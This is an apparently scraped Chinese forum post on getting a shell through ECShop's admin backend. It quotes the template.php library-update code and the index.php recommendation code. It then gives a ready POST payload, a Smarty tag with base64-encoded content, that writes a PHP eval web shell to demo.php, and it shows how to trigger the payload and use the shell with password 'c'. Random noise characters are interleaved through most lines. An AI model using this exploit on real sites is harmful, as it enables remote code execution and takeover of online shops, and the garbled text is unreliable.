Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
0 N3 S# o/ S3 a4 P# p6 _
9 n! i, ^1 @1 p5 U* e- S而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
' H: _" e+ B4 L8 D2 K5 d但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, G- g0 V6 q, g2 E( Yadmin/template.php

1 if ($_REQUEST['act'] == 'update_library')
. [4 Q" L6 {1 x. ]- Q: e
2   

3 {
& p' W" k- U6 I( G. k6 w6 s
, r% a: S3 G4 b6 _$ @4     check_authz_json('library_manage');
& ]( E7 z+ a6 R6 C
' O. e1 I4 H7 J3 I3 a8 B) \9 R5   

7 _3 b2 N0 y$ }" v, ~- V: W6     $html = stripslashes(json_str_iconv($_POST['html']));

3 U0 }% p' c; C5 ~& M' s# M5 C7   
* `- P+ {% ^5 u; d) C
) i- Z" |- U# O7 l8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. _; d. W! s$ N3 j1 N# Z) l
, \& I5 [) ^3 i+ y9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

# B6 c0 K+ F3 @5 v11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

4 T$ \8 ^5 E( `; I13   

$ A4 x0 D0 {( J; b- P14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: \7 Y% _" M' i# o
. v/ T" V7 b( K8 c/ J15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);
- T! X0 m1 V8 G+ u9 N3 |
& u& V$ ~/ d) H3 k" D3 o: A1 ]$ j' S18     }
. f2 L; y7 ?, h6 ]
19     else
- d- J! v; `* I4 [! |/ M0 N/ g
20     {
4 i0 H7 Z; f' ?% t) \. F
" U( b7 R8 l* x21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

/ @9 _# d$ Y: c/ M; c  c23 }

1 W0 Z  z; c# A; S3 y  Y那么找个比较方便调用了模板的文件
% H- g8 S# |1 }1 B! J1 h; Z% hindex.php

1 if ($act == 'cat_rec')

4 |. k4 J7 H* q7 P- t) L! x2   

3 {

4   

; m/ s4 e! C3 z5 t" a5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

+ M1 k: p) _( p0 T+ k1 _6   
. H& k. o' ?0 G, l' i9 N  K0 x+ Z
, m& R1 O, _5 F5 U) z7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 \) K9 q: ~( `0 }& F
  \9 R  P* ?+ u7 m. w# x8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
3 l/ e8 m  b0 F1 ]2 }% q
) z9 y( f+ e6 ]) w10   
1 I( _  W% S2 ?+ Z$ v
11     include_once('includes/cls_json.php');

( e! X) K0 ]" @+ g12   

% [; j; |& w- m1 |% S: |13     $json = new JSON;
2 w1 J) @& T* c2 o# u1 [
14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
! s; _! W* e$ Y/ |8 N& |! I' @
16   

17     $children = get_children($cat_id);

18   
0 T, a$ U% _+ ?6 B
4 j( ~) W" {8 Z& e% D19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

0 z! G4 `0 p) y" X6 E9 H$ n, N6 D20   

8 H5 H6 @- Q. l4 Q; o8 W1 a- P21     $smarty->assign('cat_rec_sign', 1);
2 h* |+ C: _  {$ C/ B. y- T: l
& T8 Z0 H) c: b* y( z& r22   

$ g6 U' n& E7 n  L23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   
/ r% V+ K6 W" M  r* @- D0 U
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
8 E: i/ W( m6 t0 x( s
26   

$ K2 a/ f) i5 `, P  w) A27         echo $rec_array[$rec_type];
( q8 _8 p6 `# t( G, @
# S) }+ N1 L* e3 D28   

6 G; j- g. R4 {) D& L29     die($json->encode($result));

30   
6 M! j% o( |/ h1 H8 m- z
$ ~5 z0 k3 S( U- g" Z31 }
8 p& Z: V! l* A+ r& g8 P3 ]) H
那么就有利用方法了
6 ?6 P' I* p' |! [* G2 P# N$ v* npost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

( Q+ s0 d1 e7 ^  L4 n3 s# @​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

. A8 j# @8 B5 W7 p然后访问http://localhost/ec/index.php?act=cat_rec
& _' U8 @& ~1 v/ _8 C7 v9 H- o
+ k$ {- ~. H$ a& dshel地址：http://localhost/ec/demo.php
, C3 y: {; C# S" [' }密码c

$ I1 B1 Z6 z( d& M6 i3 ]